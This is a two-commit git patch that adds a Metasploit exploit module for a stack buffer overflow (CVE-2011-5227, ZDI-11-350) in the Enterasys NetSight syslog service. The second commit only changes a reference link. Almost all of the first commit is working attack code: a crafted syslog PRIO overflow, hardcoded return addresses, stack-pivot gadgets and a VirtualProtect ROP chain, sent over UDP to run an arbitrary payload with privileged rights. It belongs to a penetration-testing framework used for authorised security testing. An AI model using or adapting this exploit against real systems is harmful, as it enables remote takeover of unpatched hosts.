From 45808a3a445508b63f87a04c768bf544ea4ad315 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 3 Jan 2013 19:17:45 +0100 Subject: [PATCH 1/2] Added module for ZDI-11-350 --- .../misc/enterasys_netsight_syslog_bof.rb | 159 ++++++++++++++++++ 1 file changed, 159 insertions(+) create mode 100644 modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb new file mode 100644 index 0000000000..31eee6a611 --- /dev/null +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -0,0 +1,159 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Enterasys NetSight nssyslogd.exe Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Enterasys NetSight. The + vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially + crafted PRIO from a syslog message. The module has been tested successfully on + Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2. + }, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2011-5227'], + ['OSVDB', '77971'], + ['BID', '51124'], + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'], + ['URL', 'https://cp-enterasys.kb.net/al/12/3/article.aspx?aid=14206&bt=4'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 3000, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Enterasys NetSight 4.0.1.34 / Windows XP SP3', + { + 'Offset' => 43, + 'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt + } + ], + ['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2', + { + 'Offset' => 43, + 'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Dec 19 2011', + 'DefaultTarget' => 1 + )) + + register_options([ Opt::RPORT(514) ], self.class) + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V")[0].to_i + end + + def nop + return make_nops(4).unpack("V")[0].to_i + end + + def get_stackpivot + stack_pivot = '' + case target.name + when /Windows XP SP3/ + stack_pivot << [0x77c4e448].pack("V") #ret + stack_pivot << [0x77c4e448].pack("V") #ret + stack_pivot << [0x77c4e448].pack("V") #ret + stack_pivot << [0x77c4e448].pack("V") #ret + stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN + when /Windows 2003 SP2/ + stack_pivot << [0x77bdf448].pack("V") #ret + stack_pivot << [0x77bdf448].pack("V") #ret + stack_pivot << [0x77bdf448].pack("V") #ret + stack_pivot << [0x77bdf448].pack("V") #ret + stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN + end + return stack_pivot + end + + def get_payload + my_payload = '' + + case target.name + when /Windows XP SP3/ + jmp_esp = [0x77c35459].pack("V") + my_payload << jmp_esp + when /Windows 2003 SP2/ + rop_gadgets = + [ + 0x77bb2563, # POP EAX # RETN + 0x77ba1114, # <- *&VirtualProtect() + 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + junk, + 0x77bb0c86, # XCHG EAX,ESI # RETN + 0x77bc9801, # POP EBP # RETN + 0x77be2265, # ptr to 'push esp # ret' + 0x77bb2563, # POP EAX # RETN + #0x03C0990F, + 0x03c09f0f, + 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0xb00 -> ebx) + 0x77bb48d3, # POP EBX, RET + 0x77bf21e0, # .data + 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + 0x77bbfc02, # POP ECX # RETN + 0x77bef001, # W pointer (lpOldProtect) (-> ecx) + 0x77bd8c04, # POP EDI # RETN + 0x77bd8c05, # ROP NOP (-> edi) + 0x77bb2563, # POP EAX # RETN + 0x03c0984f, + 0x77bdd441, # SUB EAX, 03c0940f + 0x77bb8285, # XCHG EAX,EDX # RETN + 0x77bb2563, # POP EAX # RETN + nop, + 0x77be6591, # PUSHAD # ADD AL,0EF # RETN + ].pack("V*") + my_payload << rop_gadgets + end + + my_payload << payload.encoded + return my_payload + end + + def exploit + connect_udp + + prio = "<" + prio << rand_text_alpha(19) + prio << get_stackpivot + prio << rand_text_alpha(4) + prio << [target.ret].pack("V") + prio << ">" + + message = prio + message << rand_text_alpha(11) + message << get_payload + + print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...") + udp_sock.put(message) + + disconnect_udp + end + +end From 9cea2d9af9f8ccffb6d782a00c2e9d306d85aefe Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 3 Jan 2013 19:39:18 +0100 Subject: [PATCH 2/2] reference updated --- modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb index 31eee6a611..3aeb1121a0 100644 --- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '77971'], ['BID', '51124'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'], - ['URL', 'https://cp-enterasys.kb.net/al/12/3/article.aspx?aid=14206&bt=4'] + ['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1'] ], 'Payload' => {